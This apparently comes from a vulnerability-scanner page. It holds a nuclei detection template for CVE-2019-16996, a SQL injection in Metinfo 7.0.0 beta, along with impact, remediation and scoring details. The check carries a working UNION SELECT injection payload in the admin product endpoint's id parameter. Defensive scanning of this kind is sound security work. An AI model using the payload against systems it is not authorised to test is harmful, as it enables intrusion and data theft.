Metinfo 7.0.0 beta - SQL Injection

highseverity

7.2CVSS score

12.1%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Metinfo 7.0.0 beta is susceptible to SQL Injection in app/system/product/admin/product_admin.class.php via the admin/?n=product&c=product_admin&a=dopara&app_type=shop id parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Upgrade to a patched version of Metinfo or apply the necessary security patches to mitigate the SQL Injection vulnerability.

How to confirm it

Send: GET {{BaseURL}}/admin/?n=product&c=product_admin&a=dopara&app_type=shop&id=1%20union%20SELECT%201,2,3,25367*75643,5,6,7%20limit%205,1%20%23
Positive when: contains "1918835981" AND status 200

Run it with nuclei: nuclei -id CVE-2019-16996 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-16996

info:
  name: Metinfo 7.0.0 beta - SQL Injection
  author: ritikchaddha
  severity: high
  description: Metinfo 7.0.0 beta is susceptible to SQL Injection in app/system/product/admin/product_admin.class.php via the admin/?n=product&c=product_admin&a=dopara&app_type=shop id parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to a patched version of Metinfo or apply the necessary security patches to mitigate the SQL Injection vulnerability.
  reference:
    - https://github.com/XiaOkuoAi/XiaOkuoAi.github.io/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16996
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2019-16996
    cwe-id: CWE-89
    epss-score: 0.12117
    epss-percentile: 0.96184
    cpe: cpe:2.3:a:metinfo:metinfo:7.0.0:beta:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: metinfo
    product: metinfo
  tags: cve2019,cve,metinfo,sqli,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/?n=product&c=product_admin&a=dopara&app_type=shop&id=1%20union%20SELECT%201,2,3,25367*75643,5,6,7%20limit%205,1%20%23"

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "1918835981"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from